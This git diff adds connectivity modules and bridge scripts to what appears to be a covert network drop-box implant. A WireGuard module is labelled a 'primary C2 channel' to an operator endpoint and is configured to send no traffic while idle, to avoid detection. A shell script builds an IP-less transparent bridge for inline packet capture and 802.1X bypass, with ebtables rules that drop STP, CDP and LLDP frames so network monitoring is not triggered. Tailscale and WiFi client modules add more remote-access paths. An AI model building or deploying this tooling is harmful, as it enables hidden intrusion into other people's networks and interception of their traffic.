self.get_ip() + return self._tailscale_ip is not None + + except subprocess.TimeoutExpired: + logger.error("tailscale up timed out") + return False + + def down(self) -> bool: + """Bring Tailscale down (logout and disconnect).""" + try: + subprocess.run( + [TAILSCALE_BIN, "logout"], + capture_output=True, timeout=15, + ) + subprocess.run( + [TAILSCALE_BIN, "down"], + capture_output=True, timeout=15, + ) + self._connected = False + return True + except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as exc: + logger.warning("Error during tailscale down: %s", exc) + return False + + def is_connected(self) -> bool: + """Check if Tailscale is connected and has an IP.""" + try: + result = subprocess.run( + [TAILSCALE_BIN, "status", "--json"], + capture_output=True, text=True, timeout=10, + ) + if result.returncode != 0: + return False + + import json + status = json.loads(result.stdout) + backend_state = status.get("BackendState", "") + self._connected = backend_state == "Running" + return self._connected + + except (subprocess.TimeoutExpired, ValueError, KeyError): + return False + + def get_ip(self) -> Optional[str]: + """Get the Tailscale IPv4 address.""" + try: + result = subprocess.run( + [TAILSCALE_BIN, "ip", "-4"], + capture_output=True, text=True, timeout=10, + ) + if result.returncode == 0 and result.stdout.strip(): + ip = result.stdout.strip().splitlines()[0] + self._tailscale_ip = ip + return ip + except (subprocess.CalledProcessError, subprocess.TimeoutExpired): + pass + return None + + # ------------------------------------------------------------------ + # Daemon management + # ------------------------------------------------------------------ + + def _start_daemon(self, ts_cfg: dict) -> bool: + """Start tailscaled as a managed subprocess.""" + state_dir = ts_cfg.get("state_dir", "/var/lib/tailscale") + socket_path = ts_cfg.get("socket", "/var/run/tailscale/tailscaled.sock") + + os.makedirs(state_dir, exist_ok=True) + os.makedirs(os.path.dirname(socket_path), exist_ok=True) + + cmd = [ + TAILSCALED_BIN, + f"--state={state_dir}/tailscaled.state", + f"--socket={socket_path}", + "--tun=userspace-networking", + ] + + try: + self._daemon_proc = subprocess.Popen( + cmd, + stdout=subprocess.DEVNULL, + stderr=subprocess.PIPE, + ) + except FileNotFoundError: + logger.error("tailscaled binary not found at %s", TAILSCALED_BIN) + return False + except OSError as exc: + logger.error("Failed to start tailscaled: %s", exc) + return False + + # Wait for daemon to be ready + deadline = time.time() + STARTUP_TIMEOUT + while time.time() < deadline: + if self._daemon_proc.poll() is not None: + stderr = self._daemon_proc.stderr.read().decode(errors='replace') + logger.error("tailscaled exited prematurely: %s", stderr[:500]) + return False + + try: + result = subprocess.run( + [TAILSCALE_BIN, "status"], + capture_output=True, timeout=5, + ) + # Any response (even "not logged in") means daemon is ready + if result.returncode in (0, 1): + logger.debug("tailscaled is ready") + return True + except (subprocess.TimeoutExpired, FileNotFoundError): + pass + + time.sleep(1.0) + + logger.error("tailscaled did not become ready within %ds", STARTUP_TIMEOUT) + self._stop_daemon() + return False + + def _stop_daemon(self) -> None: + """Stop the tailscaled subprocess.""" + if self._daemon_proc is None: + return + + if self._daemon_proc.poll() is None: + try: + self._daemon_proc.terminate() + self._daemon_proc.wait(timeout=5.0) + except subprocess.TimeoutExpired: + logger.warning("tailscaled did not stop after SIGTERM, killing") + self._daemon_proc.kill() + try: + self._daemon_proc.wait(timeout=2.0) + except subprocess.TimeoutExpired: + pass + + self._daemon_proc = None diff --git a/modules/connectivity/wifi_client.py b/modules/connectivity/wifi_client.py new file mode 100644 index 0000000..d9007ee --- /dev/null +++ b/modules/connectivity/wifi_client.py @@ -0,0 +1,452 @@ +#!/usr/bin/env python3 +"""WiFi client module — managed wpa_supplicant for WiFi connectivity. + +Supports WPA2-PSK and WPA2-Enterprise (PEAP/EAP-TLS). Generates +wpa_supplicant.conf from config parameters, manages the wpa_supplicant +process, and monitors connection quality. +""" + +import logging +import os +import subprocess +import tempfile +import time +from typing import Optional + +from modules.base import BaseModule + +logger = logging.getLogger("bb.connectivity.wifi_client") + +WPA_SUPPLICANT_BIN = "/sbin/wpa_supplicant" +WPA_CLI_BIN = "/sbin/wpa_cli" +DEFAULT_INTERFACE = "wlan0" +CONNECT_TIMEOUT = 30 # seconds + + +class WiFiClient(BaseModule): + """WiFi client — wpa_supplicant managed WPA2-PSK/Enterprise.""" + + name = "wifi_client" + module_type = "connectivity" + priority = -100 + requires_root = True + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._wpa_proc: Optional[subprocess.Popen] = None + self._interface = DEFAULT_INTERFACE + self._config_path: Optional[str] = None + self._connected = False + self._ssid: Optional[str] = None + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + wifi_cfg = self.config.get("connectivity", {}).get("wifi", {}) + if not wifi_cfg: + logger.error("No wifi config in bigbrother.yaml") + self.state.set_module_status(self.name, "error") + return + + self._interface = wifi_cfg.get("interface", DEFAULT_INTERFACE) + ssid = wifi_cfg.get("ssid") + psk = wifi_cfg.get("psk") + + if not ssid: + logger.error("WiFi SSID not configured") + self.state.set_module_status(self.name, "error") + return + + # Determine auth type + eap_cfg = wifi_cfg.get("eap") + if eap_cfg: + self._config_path = self._write_enterprise_config( + ssid=ssid, + eap_method=eap_cfg.get("method", "PEAP"), + identity=eap_cfg.get("identity", ""), + password=eap_cfg.get("password", ""), + ca_cert=eap_cfg.get("ca_cert"), + client_cert=eap_cfg.get("client_cert"), + private_key=eap_cfg.get("private_key"), + phase2=eap_cfg.get("phase2", "auth=MSCHAPV2"), + ) + elif psk: + self._config_path = self._write_psk_config(ssid, psk) + else: + logger.error("WiFi config has no PSK and no EAP section") + self.state.set_module_status(self.name, "error") + return + + if not self.connect(ssid, psk): + logger.error("Failed to connect to WiFi network '%s'", ssid) + self.state.set_module_status(self.name, "error") + return + + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + self._ssid = ssid + self._connected = True + + self.state.set_module_status(self.name, "running", pid=self._pid) + self.bus.emit("CONNECTIVITY_CHANGED", + {"module": self.name, "state": "up", "ssid": ssid}, + source_module=self.name) + logger.info("WiFi connected to '%s' on %s", ssid, self._interface) + + def stop(self) -> None: + if not self._running: + return + + self.disconnect() + self._running = False + self._connected = False + + # Cleanup config file + if self._config_path and os.path.isfile(self._config_path): + try: + os.unlink(self._config_path) + except OSError: + pass + + self.state.set_module_status(self.name, "stopped") + self.bus.emit("CONNECTIVITY_CHANGED", + {"module": self.name, "state": "down"}, + source_module=self.name) + logger.info("WiFi client stopped") + + def status(self) -> dict: + signal = self.get_signal() if self._running else None + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "connected": self._connected, + "ssid": self._ssid, + "interface": self._interface, + "signal_dbm": signal, + } + + def configure(self, config: dict) -> None: + self.config.update(config) + + def health_check(self) -> bool: + if not self._running: + return False + return self.is_connected() + + # ------------------------------------------------------------------ + # WiFi operations + # ------------------------------------------------------------------ + + def connect(self, ssid: str, psk: str = None) -> bool: + """Start wpa_supplicant and connect to the configured network.""" + # Kill any existing wpa_supplicant on this interface + self._kill_existing_wpa() + + # Bring interface up + try: + subprocess.run( + ["ip", "link", "set", "up", "dev", self._interface], + check=True, capture_output=True, timeout=10, + ) + except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as exc: + logger.error("Failed to bring up %s: %s", self._interface, exc) + return False + + # Start wpa_supplicant + cmd = [ + WPA_SUPPLICANT_BIN, + "-i", self._interface, + "-c", self._config_path, + "-B", # background + "-D", "nl80211,wext", + "-P", f"/var/run/wpa_supplicant_{self._interface}.pid", + ] + + try: + result = subprocess.run(cmd, capture_output=True, text=True, timeout=10) + if result.returncode != 0: + logger.error("wpa_supplicant failed to start: %s", result.stderr.strip()) + return False + except (subprocess.TimeoutExpired, FileNotFoundError) as exc: + logger.error("wpa_supplicant error: %s", exc) + return False + + # Wait for connection + return self._wait_for_connection(timeout=CONNECT_TIMEOUT) + + def disconnect(self) -> None: + """Stop wpa_supplicant and release the interface.""" + self._kill_existing_wpa() + self._connected = False + + # Release DHCP lease + try: + subprocess.run( + ["dhclient", "-r", self._interface], + capture_output=True, timeout=10, + ) + except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError): + pass + + def scan(self) -> list: + """Scan for available WiFi networks. Returns list of dicts.""" + networks = [] + try: + # Trigger scan + subprocess.run( + [WPA_CLI_BIN, "-i", self._interface, "scan"], + capture_output=True, timeout=10, + ) + time.sleep(3.0) # Allow scan to complete + + # Get results + result = subprocess.run( + [WPA_CLI_BIN, "-i", self._interface, "scan_results"], + capture_output=True, text=True, timeout=10, + ) + + if result.returncode == 0: + for line in result.stdout.strip().splitlines()[1:]: # Skip header + parts = line.split("\t") + if len(parts) >= 5: + networks.append({ + "bssid": parts[0], + "frequency": int(parts[1]), + "signal": int(parts[2]), + "flags": parts[3], + "ssid": parts[4] if len(parts) > 4 else "", + }) + + except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError) as exc: + logger.warning("WiFi scan failed: %s", exc) + + # Fallback to iw if wpa_cli not available + if not networks: + networks = self._scan_iw() + + return networks + + def is_connected(self) -> bool: + """Check if WiFi is associated and has an IP address.""" + try: + result = subprocess.run( + [WPA_CLI_BIN, "-i", self._interface, "status"], + capture_output=True, text=True, timeout=5, + ) + if result.returncode != 0: + return False + + status_dict = {} + for line in result.stdout.strip().splitlines(): + if "=" in line: + k, v = line.split("=", 1) + status_dict[k.strip()] = v.strip() + + wpa_state = status_dict.get("wpa_state", "") + self._connected = wpa_state == "COMPLETED" + return self._connected + + except (subprocess.TimeoutExpired, FileNotFoundError): + return False + + def get_signal(self) -> Optional[int]: + """Get current signal strength in dBm.""" + try: + result = subprocess.run( + [WPA_CLI_BIN, "-i", self._interface, "signal_poll"], + capture_output=True, text=True, timeout=5, + ) + if result.returncode == 0: + for line in result.stdout.strip().splitlines(): + if line.startswith("RSSI="): + return int(line.split("=", 1)[1]) + except (subprocess.TimeoutExpired, FileNotFoundError, ValueError): + pass + + # Fallback to /proc/net/wireless + try: + with open("/proc/net/wireless", "r") as f: + for line in f: + if self._interface in line: + parts = line.split() + if len(parts) >= 4: + return int(float(parts[3])) + except (IOError, ValueError, IndexError): + pass + + return None + + # ------------------------------------------------------------------ + # Config generation + # ------------------------------------------------------------------ + + def _write_psk_config(self, ssid: str, psk: str) -> str: + """Write WPA2-PSK wpa_supplicant.conf.""" + config = ( + "ctrl_interface=/var/run/wpa_supplicant\n" + "ctrl_interface_group=0\n" + "update_config=0\n" + "ap_scan=1\n" + "\n" + "network={\n" + f' ssid="{ssid}"\n' + f' psk="{psk}"\n' + " key_mgmt=WPA-PSK\n" + " proto=RSN\n" + " pairwise=CCMP\n" + " group=CCMP\n" + "}\n" + ) + return self._write_config_file(config) + + def _write_enterprise_config(self, ssid: str, eap_method: str, + identity: str, password: str, + ca_cert: str = None, + client_cert: str = None, + private_key: str = None, + phase2: str = "auth=MSCHAPV2") -> str: + """Write WPA2-Enterprise wpa_supplicant.conf (PEAP or EAP-TLS).""" + config = ( + "ctrl_interface=/var/run/wpa_supplicant\n" + "ctrl_interface_group=0\n" + "update_config=0\n" + "ap_scan=1\n" + "\n" + "network={\n" + f' ssid="{ssid}"\n' + " key_mgmt=WPA-EAP\n" + f' eap={eap_method}\n' + f' identity="{identity}"\n' + ) + + if eap_method.upper() == "PEAP": + config += f' password="{password}"\n' + config += f' phase2="{phase2}"\n' + if ca_cert: + config += f' ca_cert="{ca_cert}"\n' + elif eap_method.upper() == "TLS": + if ca_cert: + config += f' ca_cert="{ca_cert}"\n' + if client_cert: + config += f' client_cert="{client_cert}"\n' + if private_key: + config += f' private_key="{private_key}"\n' + + config += "}\n" + return self._write_config_file(config) + + def _write_config_file(self, content: str) -> str: + """Write config to tmpfs and return path.""" + tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else tempfile.gettempdir() + config_path = os.path.join(tmpdir, f".wpa_{self._interface}.conf") + + fd = os.open(config_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) + try: + os.write(fd, content.encode()) + finally: + os.close(fd) + + return config_path + + # ------------------------------------------------------------------ + # Helpers + # ------------------------------------------------------------------ + + def _wait_for_connection(self, timeout: int = CONNECT_TIMEOUT) -> bool: + """Wait for wpa_supplicant to complete association.""" + deadline = time.time() + timeout + while time.time() < deadline: + if self.is_connected(): + # Request DHCP lease + self._request_dhcp() + return True + time.sleep(1.0) + + logger.warning("WiFi connection timed out after %ds", timeout) + return False + + def _request_dhcp(self) -> None: + """Request a DHCP lease on the WiFi interface.""" + try: + subprocess.run( + ["dhclient", "-1", "-nw", self._interface], + capture_output=True, timeout=15, + ) + except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError): + logger.debug("dhclient not available, trying dhcpcd") + try: + subprocess.run( + ["dhcpcd", "-1", self._interface], + capture_output=True, timeout=15, + ) + except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError): + logger.warning("No DHCP client available for %s", self._interface) + + def _kill_existing_wpa(self) -> None: + """Kill any existing wpa_supplicant on our interface.""" + pid_file = f"/var/run/wpa_supplicant_{self._interface}.pid" + if os.path.isfile(pid_file): + try: + pid = int(open(pid_file).read().strip()) + os.kill(pid, 15) # SIGTERM + time.sleep(0.5) + except (ValueError, ProcessLookupError, PermissionError, IOError): + pass + + # Also kill by interface match + try: + subprocess.run( + ["pkill", "-f", f"wpa_supplicant.*{self._interface}"], + capture_output=True, timeout=5, + ) + except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError): + pass + + time.sleep(0.5) + + def _scan_iw(self) -> list: + """Fallback scan using iw command.""" + networks = [] + try: + result = subprocess.run( + ["iw", "dev", self._interface, "scan", "-u"], + capture_output=True, text=True, timeout=15, + ) + if result.returncode != 0: + return networks + + current = {} + for line in result.stdout.splitlines(): + line = line.strip() + if line.startswith("BSS "): + if current: + networks.append(current) + bssid = line.split()[1].split("(")[0] + current = {"bssid": bssid, "ssid": "", "signal": 0, "frequency": 0} + elif line.startswith("SSID:"): + current["ssid"] = line.split(":", 1)[1].strip() + elif line.startswith("signal:"): + try: + current["signal"] = int(float(line.split(":")[1].strip().split()[0])) + except (ValueError, IndexError): + pass + elif line.startswith("freq:"): + try: + current["frequency"] = int(line.split(":")[1].strip()) + except (ValueError, IndexError): + pass + + if current: + networks.append(current) + + except (subprocess.TimeoutExpired, FileNotFoundError): + pass + + return networks diff --git a/modules/connectivity/wireguard.py b/modules/connectivity/wireguard.py new file mode 100644 index 0000000..ea8d2a8 --- /dev/null +++ b/modules/connectivity/wireguard.py @@ -0,0 +1,284 @@ +#!/usr/bin/env python3 +"""WireGuard module — primary C2 channel. + +Self-hosted WireGuard tunnel to operator endpoint. PersistentKeepalive = 0 +means the tunnel generates ZERO traffic when idle — no beacons, no heartbeats, +no coordination servers. The tunnel activates instantly when the operator +sends a packet. +""" + +import logging +import os +import subprocess +import tempfile +import time +from pathlib import Path +from typing import Optional + +from modules.base import BaseModule + +logger = logging.getLogger("bb.connectivity.wireguard") + +WG_INTERFACE = "wg0" +HEALTH_CHECK_TIMEOUT = 5 # seconds + + +class WireGuard(BaseModule): + """Primary C2 — WireGuard tunnel to operator's self-hosted endpoint.""" + + name = "wireguard" + module_type = "connectivity" + priority = -200 + requires_root = True + + def __init__(self, bus, state, config, engine=None): + super().__init__(bus, state, config, engine) + self._interface = WG_INTERFACE + self._config_path: Optional[str] = None + self._endpoint: Optional[str] = None + self._peer_allowed_ips: Optional[str] = None + self._connected = False + + # ------------------------------------------------------------------ + # BaseModule interface + # ------------------------------------------------------------------ + + def start(self) -> None: + if self._running: + return + + wg_cfg = self.config.get("connectivity", {}).get("wireguard", {}) + if not wg_cfg: + logger.error("No wireguard config in bigbrother.yaml") + self.state.set_module_status(self.name, "error") + return + + self._endpoint = wg_cfg.get("endpoint") + private_key_file = wg_cfg.get("private_key_file") + peer_public_key = wg_cfg.get("peer_public_key") + self._peer_allowed_ips = wg_cfg.get("allowed_ips", "0.0.0.0/0") + listen_port = wg_cfg.get("listen_port", 51820) + address = wg_cfg.get("address", "10.0.0.2/24") + + if not all([self._endpoint, private_key_file, peer_public_key]): + logger.error("wireguard config missing required fields: endpoint, " + "private_key_file, peer_public_key") + self.state.set_module_status(self.name, "error") + return + + # Read private key + try: + private_key = Path(private_key_file).read_text().strip() + except (OSError, IOError) as exc: + logger.error("Cannot read WireGuard private key: %s", exc) + self.state.set_module_status(self.name, "error") + return + + # Write transient WireGuard config + self._config_path = self._write_config( + private_key=private_key, + address=address, + listen_port=listen_port, + peer_public_key=peer_public_key, + endpoint=self._endpoint, + allowed_ips=self._peer_allowed_ips, + ) + + if not self.up(): + logger.error("Failed to bring up WireGuard interface") + self.state.set_module_status(self.name, "error") + return + + self._running = True + self._pid = os.getpid() + self._start_time = time.time() + self._connected = True + + self.state.set_module_status(self.name, "running", pid=self._pid) + self.bus.emit("CONNECTIVITY_CHANGED", + {"module": self.name, "state": "up", + "endpoint": self._endpoint}, + source_module=self.name) + logger.info("WireGuard tunnel up — endpoint %s", self._endpoint) + + def stop(self) -> None: + if not self._running: + return + + self.down() + self._running = False + self._connected = False + + # Cleanup transient config + if self._config_path and os.path.isfile(self._config_path): + try: + os.unlink(self._config_path) + except OSError: + pass + + self.state.set_module_status(self.name, "stopped") + self.bus.emit("CONNECTIVITY_CHANGED", + {"module": self.name, "state": "down"}, + source_module=self.name) + logger.info("WireGuard tunnel down") + + def status(self) -> dict: + connected = self.is_connected() + return { + "running": self._running, + "pid": self._pid, + "uptime": time.time() - self._start_time if self._start_time else 0, + "connected": connected, + "endpoint": self._endpoint, + "interface": self._interface, + } + + def configure(self, config: dict) -> None: + self.config.update(config) + + def health_check(self) -> bool: + if not self._running: + return False + return self.is_connected() + + # ------------------------------------------------------------------ + # WireGuard operations + # ------------------------------------------------------------------ + + def up(self) -> bool: + """Create wg interface, apply config, bring up.""" + try: + # Add WireGuard interface + subprocess.run( + ["ip", "link", "add", "dev", self._interface, "type", "wireguard"], + check=True, capture_output=True, timeout=10, + ) + except subprocess.CalledProcessError: + # Interface may already exist — try to continue + logger.debug("Interface %s may already exist, continuing", self._interface) + + try: + # Apply WireGuard config + subprocess.run( + ["wg", "setconf", self._interface, self._config_path], + check=True, capture_output=True, timeout=10, + ) + + # Assign address from config + wg_cfg = self.config.get("connectivity", {}).get("wireguard", {}) + address = wg_cfg.get("address", "10.0.0.2/24") + subprocess.run( + ["ip", "addr", "add", address, "dev", self._interface], + check=True, capture_output=True, timeout=10, + ) + + # Bring interface up + subprocess.run( + ["ip", "link", "set", "up", "dev", self._interface], + check=True, capture_output=True, timeout=10, + ) + + logger.info("WireGuard interface %s is up", self._interface) + return True + + except subprocess.CalledProcessError as exc: + logger.error("Failed to configure WireGuard: %s", exc.stderr.decode(errors='replace')) + self._cleanup_interface() + return False + except subprocess.TimeoutExpired: + logger.error("WireGuard command timed out") + self._cleanup_interface() + return False + + def down(self) -> bool: + """Bring down and remove wg interface.""" + try: + subprocess.run( + ["ip", "link", "set", "down", "dev", self._interface], + capture_output=True, timeout=10, + ) + subprocess.run( + ["ip", "link", "del", "dev", self._interface], + capture_output=True, timeout=10, + ) + logger.info("WireGuard interface %s removed", self._interface) + return True + except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as exc: + logger.warning("Error tearing down WireGuard: %s", exc) + return False + + def is_connected(self) -> bool: + """Check if WireGuard tunnel is active by pinging peer through tunnel.""" + if not self._running: + return False + + try: + result = subprocess.run( + ["wg", "show", self._interface, "latest-handshakes"], + capture_output=True, text=True, timeout=5, + ) + if result.returncode != 0: + return False + + # Parse latest handshake timestamp — if it's 0 or missing, no peer + for line in result.stdout.strip().splitlines(): + parts = line.split() + if len(parts) >= 2: + ts = int(parts[1]) + if ts > 0: + # Handshake occurred — tunnel is alive + return True + # No handshake yet is OK — PersistentKeepalive=0 means tunnel is + # dormant until operator connects. Interface being up is sufficient. + iface_check = subprocess.run( + ["ip", "link", "show", self._interface], + capture_output=True, timeout=5, + ) + return iface_check.returncode == 0 + + except (subprocess.CalledProcessError, subprocess.TimeoutExpired, ValueError): + return False + + def get_endpoint(self) -> Optional[str]: + """Return the configured endpoint address.""" + return self._endpoint + + # ------------------------------------------------------------------ + # Internal helpers + # ------------------------------------------------------------------ + + def _write_config(self, private_key: str, address: str, listen_port: int, + peer_public_key: str, endpoint: str, + allowed_ips: str) -> str: + """Write a transient WireGuard config file and return its path.""" + config_content = ( + f"[Interface]\n" + f"PrivateKey = {private_key}\n" + f"ListenPort = {listen_port}\n" + f"\n" + f"[Peer]\n" + f"PublicKey = {peer_public_key}\n" + f"Endpoint = {endpoint}\n" + f"AllowedIPs = {allowed_ips}\n" + f"PersistentKeepalive = 0\n" + ) + + # Write to tmpfs if available, else /tmp + tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else tempfile.gettempdir() + config_path = os.path.join(tmpdir, f".wg_{self._interface}.conf") + + fd = os.open(config_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600) + try: + os.write(fd, config_content.encode()) + finally: + os.close(fd) + + return config_path + + def _cleanup_interface(self) -> None: + """Best-effort cleanup of a partially-created interface.""" + try: + subprocess.run(["ip", "link", "del", "dev", self._interface], + capture_output=True, timeout=5) + except Exception: + pass diff --git a/scripts/setup_bridge.sh b/scripts/setup_bridge.sh new file mode 100755 index 0000000..7d56840 --- /dev/null +++ b/scripts/setup_bridge.sh @@ -0,0 +1,142 @@ +#!/usr/bin/env bash +# Create transparent bridge between two interfaces +# Usage: setup_bridge.sh +# No IP assigned — invisible on network +# +# This script creates a Layer 2 bridge for inline packet capture and +# 802.1X bypass. The bridge has NO IP address, making it undetectable +# via network scanning. STP/BPDU/CDP/LLDP frames are suppressed via +# ebtables to avoid triggering network monitoring systems. + +set -euo pipefail + +BRIDGE="br0" + +# -------------------------------------------------------------------------- +# Validate arguments +# -------------------------------------------------------------------------- +if [[ $# -ne 2 ]]; then + echo "Usage: $0 " >&2 + exit 1 +fi + +IF1="$1" +IF2="$2" + +# Verify interfaces exist +for iface in "$IF1" "$IF2"; do + if ! ip link show "$iface" &>/dev/null; then + echo "Error: interface $iface does not exist" >&2 + exit 1 + fi +done + +# -------------------------------------------------------------------------- +# Cleanup any existing bridge +# -------------------------------------------------------------------------- +if ip link show "$BRIDGE" &>/dev/null; then + echo "Removing existing bridge $BRIDGE" + ip link set down dev "$BRIDGE" 2>/dev/null || true + ip link del "$BRIDGE" 2>/dev/null || true +fi + +# -------------------------------------------------------------------------- +# Create bridge +# -------------------------------------------------------------------------- +echo "Creating bridge $BRIDGE: $IF1 <-> $IF2" + +# Create the bridge device +ip link add name "$BRIDGE" type bridge + +# Disable Spanning Tree Protocol +ip link set "$BRIDGE" type bridge stp_state 0 + +# Zero forwarding delay — start forwarding immediately +ip link set "$BRIDGE" type bridge forward_delay 0 + +# Disable ageing to keep all MACs in forwarding table +ip link set "$BRIDGE" type bridge ageing_time 0 + +# -------------------------------------------------------------------------- +# Configure interfaces +# -------------------------------------------------------------------------- + +# Flush any existing IP addresses — bridge must have no L3 presence +ip addr flush dev "$IF1" 2>/dev/null || true +ip addr flush dev "$IF2" 2>/dev/null || true + +# Set promiscuous mode — capture all frames +ip link set "$IF1" promisc on +ip link set "$IF2" promisc on + +# Disable multicast snooping (avoid IGMP interference) +echo 0 > /sys/devices/virtual/net/"$BRIDGE"/bridge/multicast_snooping 2>/dev/null || true + +# Add interfaces to bridge +ip link set "$IF1" master "$BRIDGE" +ip link set "$IF2" master "$BRIDGE" + +# Bring everything up +ip link set up dev "$IF1" +ip link set up dev "$IF2" +ip link set up dev "$BRIDGE" + +# Ensure bridge has NO IP address +ip addr flush dev "$BRIDGE" 2>/dev/null || true + +# -------------------------------------------------------------------------- +# ebtables rules — suppress discovery protocols +# -------------------------------------------------------------------------- + +# Check if ebtables is available +if command -v ebtables &>/dev/null; then + echo "Applying ebtables suppression rules" + + # Flush existing rules + ebtables -F 2>/dev/null || true + + # STP/BPDU — 01:80:C2:00:00:00 + ebtables -A FORWARD -d 01:80:C2:00:00:00 -j DROP + ebtables -A OUTPUT -d 01:80:C2:00:00:00 -j DROP + + # CDP/VTP — 01:00:0C:CC:CC:CC + ebtables -A FORWARD -d 01:00:0C:CC:CC:CC -j DROP + ebtables -A OUTPUT -d 01:00:0C:CC:CC:CC -j DROP + + # LLDP — 01:80:C2:00:00:0E + ebtables -A FORWARD -d 01:80:C2:00:00:0E -j DROP + ebtables -A OUTPUT -d 01:80:C2:00:00:0E -j DROP + + # Cisco PVST+ — 01:00:0C:CC:CC:CD + ebtables -A FORWARD -d 01:00:0C:CC:CC:CD -j DROP + ebtables -A OUTPUT -d 01:00:0C:CC:CC:CD -j DROP + + # LLDP alternate — 01:80:C2:00:00:03 + ebtables -A FORWARD -d 01:80:C2:00:00:03 -j DROP + ebtables -A OUTPUT -d 01:80:C2:00:00:03 -j DROP + + # 802.1X EAP passthrough — allow EAP frames across the bridge + # (default FORWARD policy is ACCEPT, so EAP frames pass unless + # we explicitly blocked them above — we only block management protos) +else + echo "Warning: ebtables not installed — protocol suppression skipped" >&2 +fi + +# -------------------------------------------------------------------------- +# Disable IPv6 on bridge (prevent RA/NS/NA leakage) +# -------------------------------------------------------------------------- +sysctl -qw "net.ipv6.conf.${BRIDGE}.disable_ipv6=1" 2>/dev/null || true +sysctl -qw "net.ipv6.conf.${IF1}.disable_ipv6=1" 2>/dev/null || true +sysctl -qw "net.ipv6.conf.${IF2}.disable_ipv6=1" 2>/dev/null || true + +# -------------------------------------------------------------------------- +# Verify bridge is active +# -------------------------------------------------------------------------- +if ip link show "$BRIDGE" | grep -q "state UP"; then + echo "Bridge $BRIDGE is UP: $IF1 <-> $IF2 (no IP, STP disabled)" + bridge link show + exit 0 +else + echo "Error: bridge $BRIDGE failed to come up" >&2 + exit 1 +fi diff --git a/scripts/teardown_bridge.sh b/scripts/teardown_bridge.sh new file mode 100755 index 0000000..ee53a06 --- /dev/null +++ b/scripts/teardown_bridge.sh @@ -0,0 +1,85 @@ +#!/usr/bin/env bash +# Teardown bridge and restore interfaces +# +# Removes the transparent bridge, flushes ebtables rules, and restores +# the original interface state. Safe to call even if the bridge is +# already down or partially broken. + +set -uo pipefail +# Note: no -e — we want all cleanup steps to run even if some fail + +BRIDGE="br0" + +echo "Tearing down bridge $BRIDGE" + +# -------------------------------------------------------------------------- +# Identify bridge members before removal +# -------------------------------------------------------------------------- +MEMBERS=() +if ip link show "$BRIDGE" &>/dev/null; then + while IFS= read -r line; do + iface=$(echo "$line" | awk '{print $2}' | tr -d ':') + if [[ -n "$iface" ]]; then + MEMBERS+=("$iface") + fi + done < <(bridge link show master "$BRIDGE" 2>/dev/null | grep -oP '^\d+:\s+\K\S+') +fi + +# -------------------------------------------------------------------------- +# Remove ebtables rules +# -------------------------------------------------------------------------- +if command -v ebtables &>/dev/null; then + echo "Flushing ebtables rules" + ebtables -F 2>/dev/null || true + ebtables -X 2>/dev/null || true +fi + +# -------------------------------------------------------------------------- +# Bring bridge down +# -------------------------------------------------------------------------- +ip link set down dev "$BRIDGE" 2>/dev/null || true + +# -------------------------------------------------------------------------- +# Remove interfaces from bridge and restore state +# -------------------------------------------------------------------------- +for iface in "${MEMBERS[@]}"; do + echo "Restoring interface: $iface" + + # Remove from bridge + ip link set "$iface" nomaster 2>/dev/null || true + + # Disable promiscuous mode + ip link set "$iface" promisc off 2>/dev/null || true + + # Re-enable IPv6 + sysctl -qw "net.ipv6.conf.${iface}.disable_ipv6=0" 2>/dev/null || true + + # Bring interface up (in case it was downed) + ip link set up dev "$iface" 2>/dev/null || true +done + +# -------------------------------------------------------------------------- +# Delete bridge device +# -------------------------------------------------------------------------- +if ip link show "$BRIDGE" &>/dev/null; then + ip link del "$BRIDGE" 2>/dev/null || true + echo "Bridge $BRIDGE deleted" +else + echo "Bridge $BRIDGE already removed" +fi + +# -------------------------------------------------------------------------- +# Re-enable IPv6 globally on bridge name (cleanup) +# -------------------------------------------------------------------------- +sysctl -qw "net.ipv6.conf.${BRIDGE}.disable_ipv6=0" 2>/dev/null || true + +# -------------------------------------------------------------------------- +# Verify cleanup +# -------------------------------------------------------------------------- +if ip link show "$BRIDGE" &>/dev/null; then + echo "Warning: bridge $BRIDGE still exists after teardown" >&2 + exit 1 +else + echo "Bridge teardown complete" + exit 0 +fi